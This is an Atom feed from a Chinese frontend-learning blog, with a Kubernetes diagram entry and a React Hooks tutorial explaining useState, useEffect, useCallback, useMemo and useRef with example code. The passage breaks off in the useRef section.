<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://an2333.com/</id>
  <title type="text">AN的小站</title>
  <subtitle type="text">前端与 AI 学习笔记</subtitle>
  <updated>2026-10-29T00:00:00.000Z</updated>
  <author><name>Annan</name></author>
  <link rel="alternate" href="https://an2333.com/"/>
  <link rel="self" href="https://an2333.com/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.8</generator>
    <entry>
      <id>https://an2333.com/posts/essay/k8s-concepts/</id>
      <title type="text">K8s 核心概念图解：从一家汉堡店开始</title>
      <published>2026-10-29T00:00:00.000Z</published>
      <updated>2026-10-29T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/essay/k8s-concepts/"/>
      <summary type="text">一份可交互的 Kubernetes 入门图解：集群、Pod、工作负载、Service、Ingress、Helm、镜像仓库，点一点就能看懂请求怎么流转。</summary>
      <content type="html"><![CDATA[<p>把 TKE 产品概念（集群 / Pod / 工作负载 / Service / Ingress / Helm / 镜像仓库）放进一张可以点击的图里，再在本机 colima k3s 上动手跑一遍。</p>
<p><strong>👉 <a href="/demos/k8s-concepts/">打开全屏交互图解</a></strong></p>
<p>图解里包含五个部分：</p>
<ol>
<li>全景图：点击任意方块查看解释，点「模拟一次请求」看流量怎么走</li>
<li>七个核心概念</li>
<li>TKE 控制台流程与本机命令的对照</li>
<li>动手实践（逐行讲解）</li>
<li>常见坑</li>
</ol>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/framework/react/react%E5%B8%B8%E7%94%A8hooks/</id>
      <title type="text">React常用Hooks</title>
      <published>2025-06-14T00:00:00.000Z</published>
      <updated>2025-06-14T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/framework/react/react%E5%B8%B8%E7%94%A8hooks/"/>
      <summary type="text">React没提供太多的Hooks，比如 useState、useEffect、useCallback、useMemo、useRef、useContext 等等，…</summary>
      <content type="html"><![CDATA[<p>React没提供太多的Hooks，比如 useState、useEffect、useCallback、useMemo、useRef、useContext 等等，掌握常用的就可以应对日常90%的开发了。</p>
<section><h3>useState：让函数式组件能保存状态<a href="#usestate让函数式组件能保存状态"><span>#</span></a></h3><p>前面有说过之所以之前没有函数式组件就是因为函数多次执行无法保存状态，这个Hook就是用来解决这个问题的。也就是说在一个函数式组件多次渲染过程中，这个state是共享的。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> </span><span>React</span><span>, { </span><span>useState</span><span> } </span><span>from</span><span> </span><span>'react'</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>function</span><span> </span><span>Example</span><span>() {</span></div></div><div><div><div>4</div></div><div><span>  </span><span>// 创建一个保存 count 的 state，并给初始值 0</span></div></div><div><div><div>5</div></div><div><span>  </span><span>const</span><span> [</span><span>count</span><span>, </span><span>setCount</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span><span>      </span></span><span>&lt;</span><span>p</span><span>&gt;</span><span>{</span><span>count</span><span>}</span><span>&lt;/</span><span>p</span><span>&gt;</span></div></div><div><div><div>10</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>onClick</span><span><span>=</span><span>{</span><span>() </span></span><span>=&gt;</span><span> </span><span>setCount</span><span><span>(</span><span>count</span><span> </span><span>+</span><span> </span></span><span>1</span><span><span>)</span><span>}</span><span>&gt;</span></span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>+</span></div></div><div><div><div>12</div></div><div><span><span>      </span></span><span>&lt;/</span><span>button</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>在这个例子中</p><p>用useState(0)设置了count的初始值是0，渲染出p标签内容是0</p><p>当每次点击button时，调用setCount修改了count后，都会重新执行这个Example函数组件，然后使用useState返回的新的被更改后的count值，再更新对应的DOM节点</p><p>总结下就是：</p><ol>
<li>useState(initialState) 的参数 initialState 是创建 state 的初始值，它可以是任意类型，比如数字、对象、数组等等。</li>
<li>useState() 的返回值是一个有着两个元素的数组。第一个数组元素用来读取 state 的值，第二个则是用来设置这个 state 的值。在这里要注意的是，state 的变量（例子中的 count）是只读的，所以我们必须通过第二个数组元素 setCount 来设置它的值。</li>
<li>如果要创建多个 state，那么我们就需要多次调用 useState。比如要创建多个 state，使用的代码如下：</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 定义一个年龄的 state，初始值是 42</span></div></div><div><div><div>2</div></div><div><span>const</span><span> [</span><span>age</span><span>, </span><span>setAge</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>42</span><span>);</span></div></div><div><div><div>3</div></div><div><span>// 定义一个水果的 state，初始值是 banana</span></div></div><div><div><div>4</div></div><div><span>const</span><span> [</span><span>fruit</span><span>, </span><span>setFruit</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>'banana'</span><span>);</span></div></div><div><div><div>5</div></div><div><span>// 定一个一个数组 state，初始值是包含一个 todo 的数组</span></div></div><div><div><div>6</div></div><div><span>const</span><span> [</span><span>todos</span><span>, </span><span>setTodos</span><span>] </span><span>=</span><span> </span><span>useState</span><span>([{ </span><span>text</span><span>:</span><span> </span><span>'Learn Hooks'</span><span> }]);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>和之前的类组件的区别，类组件是只维护了一个state对象(如上述例子{age: 42, fruit: ‘banana’, todos:[text: ‘Learn Hooks’]})，通过setState更新组件内所有状态。而函数式组件是每个字段都有对应的state，逻辑上更分离，粒度更细。</p></blockquote><section><h4>什么情况下使用state呢？<a href="#什么情况下使用state呢"><span>#</span></a></h4><p>原则：<strong>state 中永远不要保存可以通过计算得到的值</strong>，如：</p><ol>
<li>从 props 传递过来的值。有时候 props 传递过来的值无法直接使用，而是要通过一定的计算后再在 UI 上展示，比如说排序。那么我们要做的就是每次用的时候，都重新排序一下，或者利用某些 cache 机制，而不是将结果直接放到 state 里。</li>
<li>从 URL / cookie / localStorage中读到的值。比如有时需要读取其中的参数，把它作为组件的一部分状态。那么我们可以在每次需要用的时候从 中中读取，而不是读出来直接放到 state 里。</li>
</ol><blockquote><p>如果通过一些状态管理框架，去管理所有组件的 state 的话，比如Redux，那么组件本身就可以是无状态的。无状态组件可以成为更纯粹的表现层，没有太多的业务逻辑，从而更易于使用、测试和维护。</p></blockquote></section></section>
<section><h3>useEffect：执行副作用<a href="#useeffect执行副作用"><span>#</span></a></h3><p>useEffect ，顾名思义，用于执行一段副作用。</p><blockquote><p>副作用就是除了计算外,对当前函数执行上下文或是宿主,外部环境造成影响的, 就是副作用。比如</p></blockquote><ul>
<li>操作DOM</li>
<li>订阅事件</li>
<li>接口请求</li>
<li>改变全局变量</li>
<li>调用浏览器的个别API(setTimeout)。</li>
</ul><section><h4>为什么需要useEffect<a href="#为什么需要useeffect"><span>#</span></a></h4><p>React采用声明式编程，组件函数应该是纯函数，也就是相同的输入总是产生相同的输出，不包含任何副作用。但是实际开发过程中我们不可避免的需要执行副作用操作，比如接口请求，操作DOM，订阅事件等</p><p>所以React设计了这么一个Hooks用来执行这些副作用操作</p><ol>
<li>在组件渲染后执行，不阻塞UI渲染</li>
<li>可以通过依赖数组控制执行时机</li>
<li>提供清除机制，防止内存泄漏</li>
</ol></section><section><h4>useEffect方法介绍<a href="#useeffect方法介绍"><span>#</span></a></h4><p><a href="https://zh-hans.react.dev/reference/react/useEffect" target="_blank">https://zh-hans.react.dev/reference/react/useEffect</a></p><p><code>useEffect(setup, dependencies?)</code></p><ul>
<li><code>setup</code>：处理 Effect 的函数。setup 函数选择性返回一个 <strong>清理（cleanup）</strong> 函数。当组件被挂载并且绘制渲染完成后，React 将运行 setup 函数。
<ul>
<li><strong>清理（cleanup）</strong> 函数在两种情况下执行。
<ol>
<li>在每次依赖项变更重新渲染后，React 将首先使用旧值运行 cleanup 函数（如果你提供了该函数），然后使用新值运行 setup 函数。</li>
<li>在组件从 DOM 中移除后，React 将最后一次运行 cleanup 函数。</li>
</ol>
</li>
</ul>
</li>
<li><strong>可选</strong> <code>dependencies</code>：<code>setup</code> 代码中引用的数据，如 <strong>props</strong>、<strong>state</strong> 以及所有直接在组件内部声明的变量和函数。如果你的代码检查工具<a href="https://zh-hans.react.dev/learn/editor-setup#linting" target="_blank">配置了 React</a>，那么它将验证是否每个响应式值都被正确地指定为一个依赖项。依赖项列表的元素数量必须是固定的，并且必须像 <code>[dep1, dep2, dep3]</code> 这样内联编写。React 将使用<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/is" target="_blank">Object.is</a>来比较每个依赖项和它先前的值。如果省略此参数，则在每次重新渲染组件之后，将重新运行 Effect 函数。如果你想了解更多，请参见<a href="https://zh-hans.react.dev/reference/react/useEffect#examples-dependencies" target="_blank">传递依赖数组、空数组和不传递依赖项之间的区别</a>。</li>
</ul><blockquote><p>这里官方文档说的响应式值包括state和props感觉并不准确，在React里props和state是声明式的更准确。而Vue才是响应式的，Vue的响应式数据改变后会自动渲染(自动依赖追踪)，而React中渲染的源头是手动的行为(setState)，只是父组件重新渲染会间接重新渲染子组件。</p></blockquote><blockquote><p>跟Vue的响应式不同，dependencies中的比对不是响应式的，Vue是在数据变化的时候处理回调，React是在重新渲染时才会用Object.is比对后才执行回调。</p></blockquote><p>有三种使用方式</p><ul>
<li>指定依赖项，setup会在初始渲染后执行以及每次依赖项变化时执行</li>
<li>空依赖项数组，setup仅在初始渲染后执行一次</li>
<li>无依赖项数组，setup在初始渲染后执行一次以及每次组件重新渲染后执行</li>
</ul><p>常见的就是指定依赖项，比如根据不同的博客id渲染不同的博客内容</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> </span><span>React</span><span>, { </span><span>useState</span><span>, </span><span>useEffect</span><span> } </span><span>from</span><span> </span><span>"react"</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>function</span><span> </span><span>BlogView</span><span><span>({ </span><span>id</span><span> }) {</span></span></div></div><div><div><div>4</div></div><div><span>  </span><span>// 设置一个本地 state 用于保存 blog 内容</span></div></div><div><div><div>5</div></div><div><span>  </span><span>const</span><span> [</span><span>blogContent</span><span>, </span><span>setBlogContent</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>null</span><span>);</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>  </span><span>useEffect</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>8</div></div><div><span>    </span><span>// useEffect 的 callback 要避免直接的 async 函数，需要封装一下</span></div></div><div><div><div>9</div></div><div><span>    </span><span>const</span><span> </span><span>doAsync</span><span> </span><span>=</span><span> </span><span>async</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>10</div></div><div><span>      </span><span>// 当 id 发生变化时，将当前内容清楚以保持一致性</span></div></div><div><div><div>11</div></div><div><span>      </span><span>setBlogContent</span><span>(</span><span>null</span><span>);</span></div></div><div><div><div>12</div></div><div><span>      </span><span>// 发起请求获取数据</span></div></div><div><div><div>13</div></div><div><span>      </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span> </span><span>await</span><span> </span><span>fetch</span><span>(</span><span>`/blog-content/</span><span>${</span><span>id</span><span>}</span><span>`</span><span>);</span></div></div><div><div><div>14</div></div><div><span>      </span><span>// 将获取的数据放入 state</span></div></div><div><div><div>15</div></div><div><span>      </span><span>setBlogContent</span><span>(</span><span>await</span><span><span> </span><span>res</span><span>.</span></span><span>text</span><span>());</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>};</span></div></div><div><div><div>17</div></div><div><span>    </span><span>doAsync</span><span>();</span></div></div><div><div><div>18</div></div><div><span><span>  </span></span><span>}, [</span><span>id</span><span>]); </span><span>// 使用 id 作为依赖项，变化时则执行副作用</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span>  </span><span>// 如果没有 blogContent 则认为是在 loading 状态</span></div></div><div><div><div>21</div></div><div><span>  </span><span>const</span><span> </span><span>isLoading</span><span> </span><span>=</span><span> </span><span>!</span><span><span>blogContent</span><span>;</span></span></div></div><div><div><div>22</div></div><div><span>  </span><span>return</span><span> &lt;</span><span>div</span><span>&gt;</span><span>{</span><span><span>isLoading</span><span> </span></span><span>?</span><span> </span><span>"Loading..."</span><span> </span><span>:</span><span><span> </span><span>blogContent</span></span><span>}</span><span>&lt;/</span><span>div</span><span>&gt;;</span></div></div><div><div><div>23</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><blockquote><p>对于依赖项有哪些需要注意的呢？</p></blockquote><ol>
<li>依赖项中定义的变量一定是会在回调函数中用到的，否则声明依赖项其实是没有意义的。</li>
<li>依赖项一般是一个字面量数组，而不是一个变量。因为一般在创建 callback 的时候，你其实非常清楚其中要用到哪些依赖项了。
<ul>
<li>比如<code>useEffect(() =&gt; {}, [variable])</code> 而不是<code>const deps = [variable];useEffect(() =&gt; {}, deps) </code></li>
</ul>
</li>
<li>React在监听依赖项变化时使用的是浅比较(Object.is)，对于函数式组件如果每次重新定义引用变量会导致重复渲染。
如：</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>Sample</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>// 这里在每次组件执行时创建了一个新数组</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>todos</span><span> </span><span>=</span><span> [{ </span><span>text</span><span>:</span><span> </span><span>'Learn hooks.'</span><span>}];</span></div></div><div><div><div>4</div></div><div><span>  </span><span>useEffect</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>'Todos changed.'</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>}, [</span><span>todos</span><span>]);</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span> </span></span><span>todos每次都是重新创建的，导致引用地址不同，从而会导致更新</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h3>useCallback: 缓存回调函数<a href="#usecallback-缓存回调函数"><span>#</span></a></h3><section><h4>为什么需要useCallback？<a href="#为什么需要usecallback"><span>#</span></a></h4><p>通过前面的<code>useState</code>我们知道这是React为了解决函数式组件多次执行无法保存状态设计出来的Hooks。因为函数式组件会重复执行，如果在函数式组件中声明函数，则函数也会被反复声明从而反复重新被创建，<code>useCallback</code>就是为了函数多次执行保存函数引用而设计出来的。</p><p>举个例子</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>Counter</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>const</span><span> [</span><span>count</span><span>, </span><span>setCount</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>handleIncrement</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> </span><span>setCount</span><span><span>(</span><span>count</span><span> </span></span><span>+</span><span> </span><span>1</span><span>);</span></div></div><div><div><div>4</div></div><div><span>  </span><span>// ...</span></div></div><div><div><div>5</div></div><div><span>  </span><span>return</span><span> &lt;</span><span>button</span><span> </span><span>onClick</span><span><span>=</span><span>{</span><span>handleIncrement</span><span>}</span><span>&gt;+&lt;/</span></span><span>button</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>对于Counter这个组件，如果count变化时，组件会重新渲染，组件重新渲染后handleIncrement又会重新被创建，从而导致作为button的props，让button也被重新渲染了。
<strong>不妙的就是每次执行函数式组件时内部重新创建了函数，导致接受函数的组件被重新渲染</strong>。用来解决这个问题的Hooks就是useCallback，让函数在需要更新捕获的闭包(如count)时才重新声明。
改造后如下</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> </span><span>React</span><span>, { </span><span>useState</span><span>, </span><span>useCallback</span><span> } </span><span>from</span><span> </span><span>'react'</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>function</span><span> </span><span>Counter</span><span>() {</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> [</span><span>count</span><span>, </span><span>setCount</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>5</div></div><div><span>  </span><span>const</span><span> </span><span>handleIncrement</span><span> </span><span>=</span><span> </span><span>useCallback</span><span>(</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>() </span><span>=&gt;</span><span> </span><span>setCount</span><span><span>(</span><span>count</span><span> </span></span><span>+</span><span> </span><span>1</span><span>),</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>[</span><span>count</span><span>], </span><span>// 只有当 count 发生变化时，才会重新创建回调函数</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>9</div></div><div><span>  </span><span>// ...</span></div></div><div><div><div>10</div></div><div><span>  </span><span>return</span><span> &lt;</span><span>button</span><span> </span><span>onClick</span><span><span>=</span><span>{</span><span>handleIncrement</span><span>}</span><span>&gt;+&lt;/</span></span><span>button</span><span>&gt;</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>此时handleIncrement只有在count数据变化时，才会重新声明捕获count这个闭包，从而达到减少重复声明handleIncrement以及渲染button的目的。</p></section><section><h4>useCallback 方法介绍<a href="#usecallback-方法介绍"><span>#</span></a></h4><p><a href="https://zh-hans.react.dev/reference/react/useCallback" target="_blank">https://zh-hans.react.dev/reference/react/useCallback</a></p><p><code>useCallback(fn, dependencies)</code></p><ul>
<li><code>fn</code>：想要缓存的函数。此函数可以接受任何参数并且返回任何值。
<ul>
<li>在初次渲染时，React 将把函数返回给你（而不是调用它！）。</li>
<li>当进行下一次渲染时，也就是渲染过程中，判断<code>dependencies</code> 相比于上一次渲染时没有改变
<ul>
<li>没有改变，那么 React 将会返回相同的函数。</li>
<li>有改变，React 将返回在最新一次渲染中传入的函数，并且将其缓存以便之后使用。这个Hooks不会调用此函数，只是返回此函数。你可以自己决定何时调用以及是否调用。</li>
</ul>
</li>
</ul>
</li>
<li><code>dependencies</code>：有关是否更新 <code>fn</code> 的相关数据，包括 props、state，和所有在你组件内部直接声明的变量和函数。如果你的代码检查工具<a href="https://zh-hans.react.dev/learn/editor-setup#linting" target="_blank">配置了 React</a>，那么它将校验每一个正确指定为依赖的响应式值。依赖列表必须具有确切数量的项，并且必须像 <code>[dep1, dep2, dep3]</code> 这样编写。和useEffect的dependencies一样，React 使用<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/is" target="_blank"><code>Object.is</code></a>比较每一个依赖和它的之前的值。这里的dependencies数组里的数据就是那些函数需要更新的闭包内容。</li>
</ul><p>除了useCallback， useMemo也是为了缓存设计的，只不过useCallback缓存的是函数，而useMemo缓存的是计算的结果。</p></section></section>
<section><h3>useMemo: 缓存计算的结果<a href="#usememo-缓存计算的结果"><span>#</span></a></h3><section><h4>为什么需要useMemo?<a href="#为什么需要usememo"><span>#</span></a></h4><p>跟useCallback类似，是因为默认情况下组件重新渲染时会重新运行整个组件函数，如果组件函数内部有复杂的计算逻辑，即使依赖数据没有变化也会重新计算执行，这样可能会导致以下问题：</p><ol>
<li>计算开销过大：比如大量数据处理，循环，复杂逻辑的场景，可能阻塞主线程渲染导致浏览器卡顿。</li>
<li>渲染性能下降：比如某个子组件依赖的引用数据(对象、数组等)内容并未产生变化，但是重新执行函数组件时会重新声明导致引用数据地址更新，从而使这个子组件重新渲染，是不必要的渲染。</li>
</ol><p>举个例子</p><p>对于一个显示用户信息的列表，需要对用户名进行搜索，根据关键字显示过滤后的用户。这个功能需要两个状态</p><ol>
<li>搜索内容</li>
<li>列表数据</li>
</ol><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> </span><span>React</span><span>, { </span><span>useState</span><span>, </span><span>useEffect</span><span> } </span><span>from</span><span> </span><span>"react"</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>export</span><span> </span><span>default</span><span> </span><span>function</span><span> </span><span>SearchUserList</span><span>() {</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> [</span><span>users</span><span>, </span><span>setUsers</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>null</span><span>);</span></div></div><div><div><div>5</div></div><div><span>  </span><span>const</span><span> [</span><span>searchKey</span><span>, </span><span>setSearchKey</span><span>] </span><span>=</span><span> </span><span>useState</span><span>(</span><span>""</span><span>);</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>  </span><span>useEffect</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>8</div></div><div><span>    </span><span>const</span><span> </span><span>doFetch</span><span> </span><span>=</span><span> </span><span>async</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>9</div></div><div><span>      </span><span>// 组件首次加载时发请求获取用户数据</span></div></div><div><div><div>10</div></div><div><span>      </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span> </span><span>await</span><span> </span><span>fetch</span><span>(</span><span>"https://reqres.in/api/users/"</span><span>);</span></div></div><div><div><div>11</div></div><div><span>      </span><span>setUsers</span><span>(</span><span>await</span><span><span> </span><span>res</span><span>.</span></span><span>json</span><span>());</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>};</span></div></div><div><div><div>13</div></div><div><span>    </span><span>doFetch</span><span>();</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>}, []);</span></div></div><div><div><div>15</div></div><div><span>  </span><span>let</span><span> </span><span>usersToShow</span><span> </span><span>=</span><span> </span><span>null</span><span>;</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span>  </span><span>if</span><span> (</span><span>users</span><span>) {</span></div></div><div><div><div>18</div></div><div><span>    </span><span>// 无论组件为何刷新，这里一定会对数组做一次过滤的操作</span></div></div><div><div><div>19</div></div><div><span>    </span><span>usersToShow</span><span> </span><span>=</span><span><span> </span><span>users</span><span>.</span></span><span>data</span><span>.</span><span>filter</span><span><span>((</span><span>user</span><span>) </span></span><span>=&gt;</span></div></div><div><div><div>20</div></div><div><span><span>      </span></span><span>user</span><span>.</span><span>first_name</span><span>.</span><span>includes</span><span>(</span><span>searchKey</span><span>),</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>);</span></div></div><div><div><div>22</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>23</div></div><div>
</div></div><div><div><div>24</div></div><div><span>  </span><span>return</span><span> (</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>&lt;</span><span>div</span><span>&gt;</span></div></div><div><div><div>26</div></div><div><span><span>      </span></span><span>&lt;</span><span>input</span></div></div><div><div><div>27</div></div><div><span>        </span><span>type</span><span>=</span><span>"text"</span></div></div><div><div><div>28</div></div><div><span>        </span><span>value</span><span><span>=</span><span>{</span></span><span>searchKey</span><span>}</span></div></div><div><div><div>29</div></div><div><span>        </span><span>onChange</span><span><span>=</span><span>{</span><span>(</span><span>evt</span><span>) </span></span><span>=&gt;</span><span> </span><span>setSearchKey</span><span><span>(</span><span>evt</span><span>.</span></span><span>target</span><span>.</span><span>value</span><span><span>)</span><span>}</span></span></div></div><div><div><div>30</div></div><div><span><span>      </span></span><span>/&gt;</span></div></div><div><div><div>31</div></div><div><span><span>      </span></span><span>&lt;</span><span>ul</span><span>&gt;</span></div></div><div><div><div>32</div></div><div><span>        </span><span>{</span><span>usersToShow</span><span> </span><span>&amp;&amp;</span></div></div><div><div><div>33</div></div><div><span><span>          </span></span><span>usersToShow</span><span>.</span><span>length</span><span> </span><span>&gt;</span><span> </span><span>0</span><span> </span><span>&amp;&amp;</span></div></div><div><div><div>34</div></div><div><span><span>          </span></span><span>usersToShow</span><span>.</span><span>map</span><span><span>((</span><span>user</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>35</div></div><div><span>            </span><span>return</span><span> &lt;</span><span>li</span><span> </span><span>key</span><span><span>=</span><span>{</span><span>user</span><span>.</span></span><span>id</span><span><span>}</span><span>&gt;</span><span>{</span><span>user</span><span>.</span></span><span>first_name</span><span><span>}</span><span>&lt;/</span></span><span>li</span><span>&gt;;</span></div></div><div><div><div>36</div></div><div><span><span>          </span></span><span>})</span><span>}</span></div></div><div><div><div>37</div></div><div><span><span>      </span></span><span>&lt;/</span><span>ul</span><span>&gt;</span></div></div><div><div><div>38</div></div><div><span><span>    </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>39</div></div><div><span><span>  </span></span><span>);</span></div></div><div><div><div>40</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>这个代码乍看过去没问题，但是userToShow的计算逻辑不论组件因为什么而重新渲染都会重新执行，而实际上我们想要的效果是当搜索内容或者列表数据变化时才重新执行
通过useMemo改造下计算相关内容</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//...</span></div></div><div><div><div>2</div></div><div><span>// 使用 userMemo 缓存计算的结果</span></div></div><div><div><div>3</div></div><div><span>const</span><span> </span><span>usersToShow</span><span> </span><span>=</span><span> </span><span>useMemo</span><span>(() </span><span>=&gt;</span><span> {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>if</span><span> (</span><span>!</span><span><span>users</span><span>) </span></span><span>return</span><span> </span><span>null</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>return</span><span><span> </span><span>users</span><span>.</span></span><span>data</span><span>.</span><span>filter</span><span><span>((</span><span>user</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>6</div></div><div><span>      </span><span>return</span><span><span> </span><span>user</span><span>.</span></span><span>first_name</span><span>.</span><span>includes</span><span><span>(</span><span>searchKey</span><span>));</span></span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>}, [</span><span>users</span><span>, </span><span>searchKey</span><span>]);</span></div></div><div><div><div>9</div></div><div><span>//...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>此时就能达到我们的目的了，只会在搜索内容和列表数据变化才计算，除了可以避免计算。
实际上useMemo是可以用于实现useCallback的，两者本质上都是让组件在多次渲染中缓存一个数据</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>useCallback</span><span><span>(</span><span>fn</span><span>, </span><span>deps</span><span>) </span></span><span>===</span><span> </span><span>useMemo</span><span>(() </span><span>=&gt;</span><span><span> </span><span>fn</span><span>, </span><span>deps</span><span>)</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>useMemo方法介绍<a href="#usememo方法介绍"><span>#</span></a></h4><p><a href="https://zh-hans.react.dev/reference/react/useMemo" target="_blank">https://zh-hans.react.dev/reference/react/useMemo</a></p><p><code>useMemo(calculateValue, dependencies)</code></p><ul>
<li>
<p><code>calculateValue</code>：要缓存计算值的函数。是一个没有任何参数的纯函数，并且可以返回任意类型。</p>
<ul>
<li>React 将会在首次渲染时调用该函数；</li>
<li>在之后的渲染中，如果 <code>dependencies</code> 没有发生变化，React 将直接返回相同值。否则，将会再次调用 <code>calculateValue</code> 并返回最新结果，然后缓存该结果以便下次重复使用。</li>
</ul>
</li>
<li>
<p><code>dependencies</code>：所有在 <code>calculateValue</code> 函数中使用的响应式变量组成的数组。响应式变量包括 props、state 和所有你直接在组件中定义的变量和函数。如果你在代码检查工具中<a href="https://zh-hans.react.dev/learn/editor-setup#linting" target="_blank">配置了 React</a>，它将会确保每一个响应式数据都被正确地定义为依赖项。依赖项数组的长度必须是固定的并且必须写成 <code>[dep1, dep2, dep3]</code> 这种形式。React 使用<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/is" target="_blank"><code>Object.is</code></a>将每个依赖项与其之前的值进行比较。</p>
</li>
</ul></section></section>
<section><h3>useRef: 在多次渲染之间共享数据<a href="#useref-在多次渲染之间共享数据"><span>#</span></a></h3><section><h4>为什么需要useRef?<a href="#为什么需要useref"><span>#</span></a></h4><p>跟上面的useMemo有相似的地方，都是具有<code>记忆功能</code> ，也就是能在组件多次渲染时保证数据的持久性，而且都不会因为值改变而触发组件重新渲染。只是useRef是返回一个包含current属性的对象，current属性就是用来修改后保存数据的。</p><p><code>useRef</code> 主要是用于</p><ol>
<li>存储可变值
<ul>
<li>存储不需要展示在页面上的数据(如分页参数)</li>
<li>保存定时器ID或是上一次props的值</li>
</ul>
</li>
<li>访问DOM元素
<ul>
